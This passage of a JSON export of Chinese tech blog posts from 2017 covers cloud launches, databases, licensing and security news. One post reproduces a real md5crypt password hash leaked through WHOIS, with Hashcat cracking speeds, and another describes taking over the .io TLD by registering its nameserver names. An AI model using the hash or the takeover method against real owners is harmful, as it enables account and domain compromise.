    "body": "看到由 <a href=\"https://www.google.com/\">Google</a> 主導的 <a href=\"https://boringssl.googlesource.com/boringssl/\">BoringSSL</a> 有計劃將其中一塊申請 <a href=\"https://en.wikipedia.org/wiki/FIPS_140-2\">FIPS 140-2</a> 的驗證計畫 (BoringCrypto 的部份)：「<a href=\"https://boringssl.googlesource.com/boringssl/+/fed35d32245ee4563691d21f55c12b4f8dac840a/crypto/fipsmodule/FIPS.md\">FIPS 140-2</a>」。\r\n\r\n其中 FIPS 140-2 最有名的後門應該是 <a href=\"https://en.wikipedia.org/wiki/Dual_EC_DRBG\">Dual_EC_DRBG</a> (定義於 <a href=\"https://en.wikipedia.org/wiki/NIST_SP_800-90A\">NIST SP 800-90A</a>，被 FIPS 140-2 引用)，所以特地講清楚他們選擇哪個演算法：\r\n\r\n<blockquote>FIPS 140-2 requires that one of its PRNGs be used (which they call DRBGs). In BoringCrypto, we use CTR-DRBG with AES-256 exclusively and RAND_bytes (the primary interface for the rest of the system to get random data) takes its output from there.</blockquote>\r\n\r\n而且還花了不少篇幅解釋 PRNG 的細節。",
    "title": "BoringSSL 的 FIPS 140-2 驗證"
  },
  {
    "id": "7438",
    "body": "在「<a href=\"https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/\">The .io Error – Taking Control of All .io Domains With a Targeted Registration</a>」這邊看到的 XDDD\r\n\r\n其實就是這樣：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\nio.         172800  IN  NS  ns-a1.io.\r\nio.         172800  IN  NS  ns-a2.io.\r\nio.         172800  IN  NS  ns-a3.io.\r\nio.         172800  IN  NS  ns-a4.io.\r\nio.         172800  IN  NS  a0.nic.io.\r\nio.         172800  IN  NS  b0.nic.io.\r\nio.         172800  IN  NS  c0.nic.io.</pre>\r\n\r\n然後他就去註冊 <code>ns-a{1,2,3,4}.io</code> 了 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Bam2M35.webp\" /><img src=\"https://i.gslin.com/imgur/Bam2M35.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5I6gqIU.webp\" /><img src=\"https://i.gslin.com/imgur/5I6gqIU.jpg\" alt=\"\" /></picture>\r\n\r\n這很歡樂 XDDD\r\n\r\n(應該可以來掃一下所有的 tld...)",
    "title": "直接接管整個 .io 的網域..."
  },
  {
    "id": "7439",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人寫了一篇簡單的文章介紹 <a href=\"https://www.mongodb.com/\">MongoDB</a> 的 Index：「<a href=\"https://www.percona.com/blog/2017/07/08/mongodb-indexing-types-how-when-and-where-should-they-be-used/\">MongoDB Indexing Types: How, When and Where Should They Be Used?</a>」。\r\n\r\n官方文件的「<a href=\"https://docs.mongodb.com/manual/indexes/\">Indexes</a>」算清楚，不過有些地雷沒講，像是 Unique Indexes 只這樣說：\r\n\r\n<blockquote>The unique property for an index causes MongoDB to reject duplicate values for the indexed field. Other than the unique constraint, unique indexes are functionally interchangeable with other MongoDB indexes.</blockquote>\r\n\r\n但 Percona 的人就有說出「地雷」，算是不錯的補充教材 XDDD\r\n\r\n<blockquote>Unique indexes work as in relational databases. They guarantee that the value doesn’t repeat and raise an error when we try to insert a duplicated value. Unique doesn’t work across shards.</blockquote>\r\n\r\n話說前陣子聽到傳言抱怨，MongoDB 的文件是行銷 &amp; 團隊寫出來的，一堆限制都沒寫在明顯的地方... XD",
    "title": "MongoDB 的 Index 種類"
  },
  {
    "id": "7440",
    "body": "在「<a href=\"https://www.franzoni.eu/stopping-the-internet-of-noise/\">Stopping The Internet Of Noise - A Useful Internet Back Again</a>」這邊看到作者在思考現在的工具有很多干擾 (像是 Social Network 這樣的網站)，反倒是傳統的一些技術與工具更專注在解決問題本身。\r\n\r\n像是 <a href=\"https://en.wikipedia.org/wiki/Usenet\">Usenet</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IQnvyUF.webp\" /><img src=\"https://i.gslin.com/imgur/IQnvyUF.jpg\" alt=\"\" /></picture>\r\n\r\nIRC：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tgUXIBV.webp\" /><img src=\"https://i.gslin.com/imgur/tgUXIBV.jpg\" alt=\"\" /></picture>\r\n\r\nRSS reader：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R8yGpvf.webp\" /><img src=\"https://i.gslin.com/imgur/R8yGpvf.jpg\" alt=\"\" /></picture>\r\n\r\n有種考古懷舊系列的感覺...\r\n\r\n題外化，看到他用的是 <a href=\"https://bazqux.com/\">BazQux</a> 這個 RSS reader，來測試看看感覺如何，如果可以的話就從 <a href=\"https://feedly.com/\">Feedly</a> 換過去好了...",
    "title": "懷舊技術系列..."
  },
  {
    "id": "7441",
    "body": "看到 <a href=\"https://stripe.com/\">Stripe</a> 的幾個大動作：「<a href=\"https://stripe.com/blog/hong-kong\">Stripe in Hong Kong + Alipay and WeChat Pay globally</a>」。\r\n\r\n一個是進入香港的消息：\r\n\r\n<blockquote>Today, we’re excited to officially launch Stripe in Hong Kong.</blockquote>\r\n\r\n另外一個是 <a href=\"https://www.alipay.com/\">Alipay</a> (支付寶) 以及 <a href=\"https://pay.weixin.qq.com/\">WeChat Pay</a> (微信支付) 可以透過 Stripe 在全球使用：\r\n\r\n<blockquote>So, today we’re introducing global support for Alipay and WeChat Pay, connecting Stripe businesses in 25+ countries to the hundreds of millions of Chinese consumers that actively use these payment methods.</blockquote>\r\n\r\n尤其是後面的消息，對於中國的使用者方便不少...",
    "title": "Stripe 香港開台，以及 Alipay 與 WeChat Pay 的支援"
  },
  {
    "id": "7442",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 推出了高 CPU 使用量的 VPS 服務：「<a href=\"https://blog.digitalocean.com/introducing-high-cpu-droplets/\">Introducing High CPU Droplets</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/D5xAxeu.webp\" /><img src=\"https://i.gslin.com/imgur/D5xAxeu.jpg\" alt=\"\" /></picture>\r\n\r\n價位從 USD$40/month 開始。相較於 Standard Droplet，CPU 的速度提升到 2.5 倍速 (平均)：\r\n\r\n<blockquote>The current CPUs powering High CPU Droplets are the Intel Broadwell 2697Av4 with a clock speed of 2.6Ghz, and the Intel Skylake 8168 with a clock speed of 2.7Ghz. Customers in our early access period have seen up to four times the performance of Standard Droplet CPUs, and on average see about 2.5 times the performance.</blockquote>\r\n\r\n目前早期先開放這些區，八月底會開 FRA1 與 LON1：\r\n\r\n<blockquote>These Droplets are available through the Control Panel and the API starting today as capacity allows in SFO2, NYC1, NYC3, TOR1, BLR1, and AMS3. They will be available in FRA1 and LON1 by the end of August.</blockquote>\r\n\r\n等 benchmark 數字出來後才會比較清楚跟 <a href=\"https://aws.amazon.com/\">AWS</a> 上的 c4.large 系列比起來如何... 不過現在看起來 DigitalOcean 想直接跟 AWS 對決？如果技術上沒有特別的東西，應該會蠻辛苦的... (因為只剩下價格)",
    "title": "DigitalOcean 推出 High CPU Droplets"
  },
  {
    "id": "7443",
    "body": "在 <a href=\"http://releases.ubuntu.com/14.04/\">Ubuntu 14.04</a> (Trusty Tahr) 放出三年後，<a href=\"https://travis-ci.com/\">Travis CI</a> 總算想起來該更新了：「<a href=\"https://blog.travis-ci.com/2017-07-11-trusty-as-default-linux-is-coming\">Trusty as default Linux is coming</a>」。\r\n\r\n<blockquote>With the recent EOL of Ubuntu Precise, we are planning to begin setting the default distribution for builds to Ubuntu Trusty 14.04 on Tuesday, the 18th of July.</blockquote>\r\n\r\n然後剩不到兩年又要 EoL 了... XD",
    "title": "Travis CI 總算要把 Trusty 當作預設環境了..."
  },
  {
    "id": "7444",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://pinboard.in/\">Pinboard</a> 放出他們的 DB Schema，可以看出他怎麼設計一個 bookmark site 的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I published my DB schema a while ago, but you’ll learn much more if you do this from scratch <a href=\"https://t.co/XgfcsQYaq6\">https://t.co/XgfcsQYaq6</a></p>&mdash; Pinboard (@Pinboard) <a href=\"https://twitter.com/Pinboard/status/885359567474835456\">July 13, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n檔案在 <a href=\"https://static.pinboard.in/schema.htm\">Pinboard Database Schema</a> 這邊可以看到。\r\n\r\n比較好奇的是沒有用 <code>utf8mb4</code>，這代表 4 bytes 的 UTF-8 資料存不進去。另外是 <code>user_tags</code> 這個表格的設計方式，當初在使用 <a href=\"https://dev.mysql.com/\">MySQL</a> 設計 tag 架構也有類似的作法...\r\n\r\n然後有些 index key 是多餘的 XDDD",
    "title": "Pinboard 放出使用的 Database Schema"
  },
  {
    "id": "7445",
    "body": "這次 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了 G3 instance：「<a href=\"https://aws.amazon.com/blogs/aws/new-next-generation-gpu-powered-ec2-instances-g3/\">New – Next-Generation GPU-Powered EC2 Instances (G3)</a>」。\r\n\r\n這次開放的只有這幾區，亞洲目前還沒有在內：\r\n\r\n<blockquote>You can launch these instances today in the US East (Ohio), US East (Northern Virginia), US West (Oregon), US West (Northern California), AWS GovCloud (US), and EU (Ireland) Regions as On-Demand, Reserved Instances, Spot Instances, and Dedicated Hosts, with more Regions coming soon.</blockquote>\r\n\r\n這次使用的 GPU 是 <a href=\"https://www.nvidia.com/\">Nvidia</a> 的 Tesla M60：\r\n\r\n<blockquote>Today we are taking a step forward and launching the G3 instance type. Powered by NVIDIA Tesla M60 GPUs, these instances are available in three sizes (all VPC-only and EBS-only)[.]</blockquote>\r\n\r\nG3 (M60) 應該會比 G2 (K520) 快，但未必會比 P2 (K80) 快，尤其是 double precision 的部份，可以參考「<a href=\"https://en.wikipedia.org/wiki/Nvidia_Tesla\">Nvidia Tesla</a>」這邊的數據。所以還是得看應用程式才能決定要用 G3 還是 P2...",
    "title": "Amazon EC2 推出新的 GPU 系列機器"
  },
  {
    "id": "7446",
    "body": "在「<a href=\"https://developers.google.com/web/updates/2017/04/devtools-release-notes\">What's New In DevTools (Chrome 59)</a>」這邊看到 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 59 後所推出新的工具，可以看目前網頁的 CSS 與 JS 跑過的 coverage 比率。\r\n\r\n像是這樣，總大小以及未使用的比率：\r\n\r\n<img src=\"https://imgur.com/X7V5Inf.png\" alt=\"\" />\r\n\r\n然後可以再直接看有哪些部份沒跑到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aLNaQ92.webp\" /><img src=\"https://i.gslin.com/imgur/aLNaQ92.jpg\" alt=\"\" /></picture>\r\n\r\n可以拿來分析，降低使用者下載的量。不過真的要切的話好像不太好做...",
    "title": "Google Chrome 59 之後的新功能：看 CSS 與 JS 的 Coverage"
  },
  {
    "id": "7447",
    "body": "是一篇老文章了... (2014 年的文章，最近從其他地方提起)\r\n\r\n這邊講的是英文，不過同樣方式也可以拿來分析其他語言：「<a href=\"http://kottke.org/17/07/the-distribution-of-letters-in-english-words\">The distribution of letters in English words</a>」，原始文章在「<a href=\"http://www.prooffreader.com/2014/05/graphing-distribution-of-english.html\">Graphing the distribution of English letters towards the beginning, middle or end of words</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8t5eZZ2.webp\" /><img src=\"https://i.gslin.com/imgur/8t5eZZ2.jpg\" alt=\"\" /></picture>\r\n\r\n原文有描述他的資料分析來源：\r\n\r\n<blockquote>The data is from the entire Brown corpus in the Natural Language Toolkit. It's a smaller and out-of-date corpus, but it's open source and easy to obtain. I repeated the analysis with COHA, the Corpus of Historical American English, a well-curated, proprietary data set from Brigham Young University for which I have a license, and the only differences were in rare letters like \"z\" or \"x\".</blockquote>",
    "title": "字母在單字裡的位置分佈"
  },
  {
    "id": "7448",
    "body": "在「<a href=\"http://kottke.org/17/07/startup-idea-generator-find-spreadsheet-tasks-and-build-something-better\">Startup idea generator: find spreadsheet tasks and build something better</a>」這邊看到很有趣的想法 XDDD 原討論區出於 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的 <a href=\"https://news.ycombinator.com/item?id=14631031\">id=14631031</a> 這則。\r\n\r\n找到還在用 spreadsheet (或者說，Excel？) 的用途，然後設計新的產品 XDDD\r\n\r\n<pre>1) Pick an industry\r\n2) Ask someone in that industry what they use spreadsheets for\r\n3) Build something better</pre>\r\n\r\n算是一種很有趣但是也還蠻實際的想法 XDDD",
    "title": "創業的點子"
  },
  {
    "id": "7449",
    "body": "看到 <a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 要支援 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">DNS CAA</a> 的消息：「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=4799\">Announcement: Announcement: CAA Record Support Coming Soon</a>」。\r\n\r\n裡面有提到 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 的決議，要求各瀏覽器支援 DNS CAA：\r\n\r\n<blockquote>On March 8, 2017, the Certification Authority and Browser Forum (CA/Browser Forum) mandated that by September 8, 2017, CA’s are expected to check for the presence of a CAA DNS record and, if present, refuse issuance of certificates unless they find themselves on the whitelist &lt;https://cabforum.org/2017/03/08/ballot-187-make-caa-checking-mandatory/&gt;.</blockquote>\r\n\r\nDNS CAA 可以設定哪些 SSL certificate 可以發出你的證書，除了自己以外，也可以讓第三者比較容易確認是否有誤發的行為：\r\n\r\n<blockquote>We have seen a lot of interest in Amazon Route 53 support for Certification Authority Authorization (CAA) records, which let you control which certificate authorities (CA) can issue certificates for your domain name.</blockquote>",
    "title": "Amazon Route 53 將會加緊支援 DNS CAA"
  },
  {
    "id": "7450",
    "body": "在「<a href=\"https://issues.apache.org/jira/browse/LEGAL-303\">RocksDB Integrations</a>」這邊討論到 <a href=\"http://rocksdb.org/\">RocksDB</a> 裡 <a href=\"https://www.facebook.com/\">Facebook</a> 所使用的 Facebook BSD+Patents License。\r\n\r\n不過因為 RocksDB 最近在換 license (從 Facebook BSD+Patents 換到 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a>)，移除了 <code>PATENTS</code> 內的限制，需要看 <code>PATENTS</code> 的舊檔案可以在 <a href=\"https://github.com/facebook/rocksdb/blob/132013366d202dbd5d5c6463c60898bdd420055b/PATENTS\">PATENTS</a> 這邊看到。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Chris_Mattmann\">Chris Mattmann</a> 正式發出決議禁用 Facebook BSD+Patents License。(參考最後)\r\n\r\n另外也提到了 Facebook 是故意埋下這些限制：\r\n\r\n<blockquote>Note also Roy's comment that he has discussed the matter with FB's counsel and the word is that the FB license is intentionally incompatible. It is hard to make the argument that it is compatible after hearing that. Pragmatically speaking, regardless of any semantic shaving being done, having a statement like that from the source of the license is very daunting. If they think it is incompatible, we need to not try to wheedle and convince ourselves it is not.</blockquote>\r\n\r\n這個 license 之後應該會有更多挑戰...\r\n\r\n<pre>Hi,\r\n\r\nAs some of you may know, recently the Facebook BSD+patents license has been\r\nmoved to Category X (https://www.apache.org/legal/resolved#category-x).\r\nPlease see LEGAL-303 [1] for a discussion of this. The license is also referred\r\nto as the ROCKSDB license, even though Facebook BSD+patents is its more\r\nindustry standard name.\r\n\r\nThis has impacted some projects, to date based on LEGAL-303\r\nand the detective work of Todd Lipcon:\r\n\r\nSamza, Flink, Marmotta, Kafka and Bahir\r\n\r\n(perhaps more)\r\n\r\nPlease take notice of the following policy:\r\n\r\no No new project, sub-project or codebase, which has not\r\n  used Facebook BSD+patents licensed jars (or similar), are allowed to use\r\n  them. In other words, if you haven't been using them, you\r\n  aren't allowed to start. It is Cat-X.\r\n\r\no If you have been using it, and have done so in a *release*,\r\n  you have a temporary exclusion from the Cat-X classification thru\r\n  August 31, 2017. At that point in time, ANY and ALL usage\r\n  of these Facebook BSD+patents licensed artifacts are DISALLOWED. You must\r\n  either find a suitably licensed replacement, or do without.\r\n  There will be NO exceptions.\r\n\r\no Any situation not covered by the above is an implicit\r\n  DISALLOWAL of usage.\r\n\r\nAlso please note that in the 2nd situation (where a temporary\r\nexclusion has been granted), you MUST ensure that NOTICE explicitly\r\nnotifies the end-user that a Facebook BSD+patents licensed artifact exists. They\r\nmay not be aware of it up to now, and that MUST be addressed.\r\n\r\nIf there are any questions, please ask on the legal-discuss@a.o\r\nlist.\r\n\r\nThanks.\r\n\r\nCheers,\r\nChris Mattmann\r\nVP Legal Affairs\r\n\r\n[1] https://issues.apache.org/jira/browse/LEGAL-303</pre>",
    "title": "Apache Foundation 宣佈禁止使用 Facebook BSD+Patents 的軟體"
  },
  {
    "id": "7452",
    "body": "前陣子看到的「<a href=\"https://arxiv.org/abs/1610.05820\">Membership Inference Attacks against Machine Learning Models</a>」，裡面試著做到的攻擊手法：\r\n\r\n<blockquote>[G]iven a data record and black-box access to a model, determine if the record was in the model's training dataset.</blockquote>\r\n\r\n也就是拿到一組 Open Data 的存取權限，然後發展一套方法判斷某筆資料是否在裡面。而驗證攻擊的手法當然就是直接攻擊看效果：\r\n\r\n<blockquote>We empirically evaluate our inference techniques on classification models trained by commercial \"machine learning as a service\" providers such as Google and Amazon. Using realistic datasets and classification tasks, including a hospital discharge dataset whose membership is sensitive from the privacy perspective, we show that these models can be vulnerable to membership inference attacks. We then investigate the factors that influence this leakage and evaluate mitigation strategies.</blockquote>\r\n\r\n透過 NN 攻擊 NN，而目前的解法也不太好處理，但有做總是會讓精確度降低。論文裡提到了四種讓難度增加的方法：\r\n\r\n<ul>\r\n\t<li>Restrict the prediction vector to top k classes.</li>\r\n\t<li>Coarsen precision of the prediction vector.</li>\r\n\t<li>Increase entropy of the prediction vector.</li>\r\n\t<li>Use regularization.</li>\r\n</ul>\r\n\r\n另外一個值得看的資料是 2006 年發生的「<a href=\"https://en.wikipedia.org/wiki/AOL_search_data_leak\">AOL search data leak</a>」，當年資料被放出來後有真實的使用者被找出來，也是很轟動啊...",
    "title": "對 Open Data 的攻擊手段"
  },
  {
    "id": "7458",
    "body": "",
    "title": "Open Sans"
  },
  {
    "id": "7459",
    "body": "<strong>Update</strong>：後來還是有狀況，這篇的方法沒有完全解決... 等找出解法後再回來更新。\r\n\r\n前陣子把家裡的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機多塞了一顆 <a href=\"https://www.dell.com/\">Dell</a> 的 P2317H，打直拿來看程式碼，大致上是沒什麼問題，不過螢幕進入省電模式後就再起不能... (<a href=\"https://www.nvidia.com/\">NVIDIA</a> 的顯卡，一顆接 DisplayPort，另外一顆接 HDMI)\r\n\r\n後來找到這一串討論：「<a href=\"https://devtalk.nvidia.com/default/topic/932936/linux/dp1-2-connected-monitor-cannot-be-turned-on-again-with-dpms/\">DP1.2 connected monitor cannot be turned on again with DPMS</a>」。\r\n\r\n這串討論裡官方的人有給不少方式，後來試到第二頁的發法，是在 <code>/etc/modprobe.d/disable-nouveau.conf</code> 裡設定一些參數，重開機後就解決了：\r\n\r\n<pre>blacklist nouveau\r\noptions nouveau modeset=0</pre>\r\n\r\n看起來是 <a href=\"https://nouveau.freedesktop.org/\">nouveau</a> 的關係，現在總算是可以比較正常的使用了... (還有不少眉眉角角的地方要再找方法解...)",
    "title": "Ubuntu 下雙螢幕進入省電模式後再起不能的問題"
  },
  {
    "id": "7460",
    "body": "作者寫了一篇關於以前在 <a href=\"https://en.wikipedia.org/wiki/WHOIS\">WHOIS</a> 記錄上看到一串 <code>$1$</code> 開頭的 <a href=\"https://en.wikipedia.org/wiki/Crypt_(C)#MD5-based_scheme\">md5crypt</a> 密碼 XDDD：「<a href=\"https://theobsidiantower.com/2017/07/12/aef453e9f6c1a6125bcb97cc6a97ec2fde128574.html\">I mean, why not tell everyone our password hashes?</a>」。\r\n\r\n<blockquote>Now the fields are filtered but this is a reasonably recent change. Prior to July 2015 the hashed passwords were shown to anyone who whois’d the maintainer object and used md5 passwords. Which was nearly all of them in my experience.</blockquote>\r\n\r\n<pre>Mntner:         DTAG-NIC\r\nDescr:          Deutsche Telekom Internet Services NIC\r\nAdmin-c:        KK281-RIPE\r\nTech-c:         HI56-RIPE\r\nAuth:           MD5-PW $1$KQ3NSRfS$/bcvLAz2BKyf5HF4VkPMh/\r\nMnt-by:         DTAG-NIC\r\nReferral-by:    RIPE-DBM-MNT</pre>\r\n\r\n不知道有沒有人去跑看看... XD\r\n\r\n話說 md5crypt 已經被認為不安全 (當初的發明人 phk 也有出來建議大家換掉了：「<a href=\"http://phk.freebsd.dk/sagas/md5crypt_eol.html\">Md5crypt Password scrambler is no longer considered safe by author</a>」)，從目前 <a href=\"https://hashcat.net/\">Hashcat</a> 的攻擊速度就可以看出來... 找個最近的例子來說，可以參考「<a href=\"https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c40\">8x Nvidia GTX 1080 Hashcat Benchmarks</a>」這篇。\r\n\r\n<pre>Hashtype: md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5\r\n\r\nSpeed.Dev.#1.:  9918.1 kH/s (97.10ms)\r\nSpeed.Dev.#2.:  9830.1 kH/s (97.70ms)\r\nSpeed.Dev.#3.: 10017.4 kH/s (97.36ms)\r\nSpeed.Dev.#4.:  9986.5 kH/s (96.92ms)\r\nSpeed.Dev.#5.:  9976.8 kH/s (97.74ms)\r\nSpeed.Dev.#6.:  9889.2 kH/s (97.29ms)\r\nSpeed.Dev.#7.: 10010.5 kH/s (97.40ms)\r\nSpeed.Dev.#8.: 10083.0 kH/s (96.94ms)\r\nSpeed.Dev.#*.: 79711.6 kH/s</pre>\r\n\r\n而隔壁的 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> 對 Hashcat 的防禦性完全在不同等級：\r\n\r\n<pre>Hashtype: bcrypt, Blowfish(OpenBSD)\r\n\r\nSpeed.Dev.#1.:    13094 H/s (47.51ms)\r\nSpeed.Dev.#2.:    13076 H/s (47.63ms)\r\nSpeed.Dev.#3.:    13292 H/s (46.88ms)\r\nSpeed.Dev.#4.:    13250 H/s (47.17ms)\r\nSpeed.Dev.#5.:    13296 H/s (46.86ms)\r\nSpeed.Dev.#6.:    13160 H/s (47.30ms)\r\nSpeed.Dev.#7.:    13260 H/s (46.98ms)\r\nSpeed.Dev.#8.:    13280 H/s (46.80ms)\r\nSpeed.Dev.#*.:   105.7 kH/s</pre>\r\n\r\n直接相除是 754 倍左右。\r\n\r\n以 85 個字元的組合計算 (<code>[0-9A-Za-z]</code> 62 個，特殊字元 22 個，加上空白 1 個)，抗性多了 1.5 個字 (log<sub>85</sub>(754) 大約是 1.49)？如果以 62 個字元來看也有 1.6 個字，強了不少...",
    "title": "歡樂的 md5crypt 密碼..."
  },
  {
    "id": "7462",
    "body": "<a href=\"https://telegram.org/\">Telegram</a> 說明他們將會使用 CDN 加速：「<a href=\"https://telegram.org/blog/encrypted-cdns\">More Speed and Security!</a>」。\r\n\r\n資料在 CDN 的節點上是加密的，金鑰需要透過 Telegram 的 key server 提供：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YoNrn8q.webp\" /><img src=\"https://i.gslin.com/imgur/YoNrn8q.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>While these caching nodes are only used to temporarily store public media (imagine Telegram versions of superpopular YouTube hits), all data that goes through them is encrypted with a key unknown to the caching nodes. In other words, we treat these CDN caching nodes just like we treat your internet provider – they only ever get encrypted junk they can't decipher.</blockquote>\r\n\r\n但這表示 Telegram 本身有能力解開這些資料？不知道這邊講的是什麼行為...\r\n\r\n使用者如果選擇願意公開的話當然沒問題，但這種情況下也不需要 CDN 加密；而當使用者不願意公開時，應該是期望 Telegram 也無法解開這些資料？再來看看到底是怎麼樣的功能要上 CDN？",
    "title": "Telegram 使用 CDN 加速下載"
  },
  {
    "id": "7463",
    "body": "<a href=\"https://www.adobe.com/\">Adobe</a> 發出的公告，將在 2020 年中止所有對 <a href=\"https://en.wikipedia.org/wiki/Adobe_Flash_Player\">Flash</a> 的支援：「<a href=\"https://blogs.adobe.com/conversations/2017/07/adobe-flash-update.html\">Flash &amp; The Future of Interactive Content</a>」。\r\n\r\n<blockquote>Specifically, we will stop updating and distributing the Flash Player at the end of 2020 and encourage content creators to migrate any existing Flash content to these new open formats.</blockquote>\r\n\r\n然後 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.microsoft.com/\">Microsoft</a> 也來補刀講兩句話：「<a href=\"https://blog.chromium.org/2017/07/so-long-and-thanks-for-all-flash.html\">So long, and thanks for all the Flash</a>」、「<a href=\"https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/\">Saying goodbye to Flash in Chrome</a>」、「<a href=\"https://blogs.windows.com/msedgedev/2017/07/25/flash-on-windows-timeline/\">The End of an Era – Next Steps for Adobe Flash</a>」。",
    "title": "Adobe Flash 將在 2020 年 End of Life"
  },
  {
    "id": "7464",
    "body": "算是為什麼企業要提供 Full Routing VPN 的一個攻擊管道的說明...\r\n\r\n這篇介紹了在飯店裡透過 WiFi 攻擊企業的高階主管，想辦法塞木馬取得資訊，或是滲透進企業內部的網路：「<a href=\"http://www.zdnet.com/article/hackers-are-using-hotel-wi-fi-to-spy-on-guests-steal-data/\">Hackers are using hotel Wi-Fi to spy on guests, steal data</a>」。\r\n\r\n<blockquote>Those behind the campaign have continually evolved their tactics and malware payloads, blending phishing and social engineering with a complex Trojan, in order to conduct espionage on corporate research and development personnel, CEOs, and other high-ranking corporate officials.</blockquote>\r\n\r\n有點介於 APT 與一般性的攻擊中間...",
    "title": "在飯店裡攻擊企業的高階主管"
  },
  {
    "id": "7465",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 Nightly 納入 <a href=\"https://wiki.mozilla.org/Quantum/Stylo\">Stylo</a> 了，一個用 <a href=\"https://www.rust-lang.org/\">Rust</a> 開發的套件，可以將 <a href=\"https://servo.org/\">Servo</a> 的 CSS style system 整進 <a href=\"https://en.wikipedia.org/wiki/Gecko_(software)\">Gecko</a> 內：「<a href=\"https://blog.nightly.mozilla.org/2017/07/25/stylo-is-ready-for-community-testing-on-nightly/\">Stylo is ready for community testing on Nightly!</a>」。\r\n\r\n<blockquote>Stylo (a.k.a. Quantum CSS) will integrate Servo's CSS style system into Gecko, such that the style system code can be shared by Gecko and Servo.</blockquote>\r\n\r\n<blockquote>Quantum CSS, aka Stylo, aims to integrate Servo’s parallelized CSS style system written in Rust into Gecko.</blockquote>\r\n\r\n<a href=\"https://www.mozilla.org/\">Mozilla</a> 把愈來愈多的東西都改用 Rust 寫了...",
    "title": "Firefox Nightly 的 Stylo"
  },
  {
    "id": "7466",
    "body": "用軟體實做 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a>，目前是開發在 <a href=\"https://www.apple.com/macos/\">macOS</a> 上：「<a href=\"https://github.com/blog/2405-introducing-soft-u2f-a-software-u2f-authenticator-for-macos\">Introducing Soft U2F, a software U2F authenticator for macOS</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/ME2Wyj1.gif\" alt=\"\" />\r\n\r\n實在是不愛這種方式，由於是軟體式的，安全性低了不少... (機器被入侵後就都沒有防護了)\r\n\r\n不過 U2F 是目前少數可以在 protocol 層抵抗 phishing 的方式，相較於一般 OTP 的方式還是得很注意網址，所以站在推廣的立場的確是希望能多一點人用...",
    "title": "GitHub 推出軟體版的 U2F Authenticator (目前只有 macOS)"
  },
  {
    "id": "7469",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Adobe_Flash_Player\">Adobe Flash</a> 在 2020 年要被收掉 (參考「<a href=\"https://blog.gslin.org/archives/2017/07/26/7463/adobe-flash-%E5%B0%87%E5%9C%A8-2020-%E5%B9%B4-end-of-life/\">Adobe Flash 將在 2020 年 End of Life</a>」)，但有很多作品是使用 Flash 寫的，這表示這些作品在 2020 年以後將無法存取。\r\n\r\n所以就有人提出請願，希望 <a href=\"https://www.adobe.com/\">Adobe</a> 將 Flash 開源，讓這些作品可以延續下去 (像是轉成 HTML5+CSS+JS 或是其他方案)：「<a href=\"https://github.com/pakastin/open-source-flash\">Petition to open source Flash spec</a>」。",
    "title": "對 Adobe Flash 的開源請願"
  },
  {
    "id": "7470",
    "body": "作者在分析 2005 年炒熱話題的 <a href=\"http://www.milliondollarhomepage.com/\">Million Dollar Homepage</a>，上面所列的網站的存活比率：「<a href=\"https://lil.law.harvard.edu/blog/2017/07/21/a-million-squandered-the-million-dollar-homepage-as-a-decaying-digital-artifact/\">A Million Squandered: The “Million Dollar Homepage” as a Decaying Digital Artifact</a>」。\r\n\r\n這是作者在 2017 年抓的截圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CMoe3Wv.webp\" /><img src=\"https://i.gslin.com/imgur/CMoe3Wv.jpg\" alt=\"\" /></picture>\r\n\r\n而這是分析圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZHGkMAE.webp\" /><img src=\"https://i.gslin.com/imgur/ZHGkMAE.jpg\" alt=\"\" /></picture>\r\n\r\n作者跑程式分析，其中大約一半的 pixel 已經失效：\r\n\r\n<blockquote>The 547 unreachable links are attached to graphical elements that collectively take up 342,000 pixels (face value: $342,000). Redirects account for a further 145,000 pixels (face value: $145,000).</blockquote>\r\n\r\n不過如果以網站數量來看，則大約還有 63% 活著：\r\n\r\n<blockquote>Of 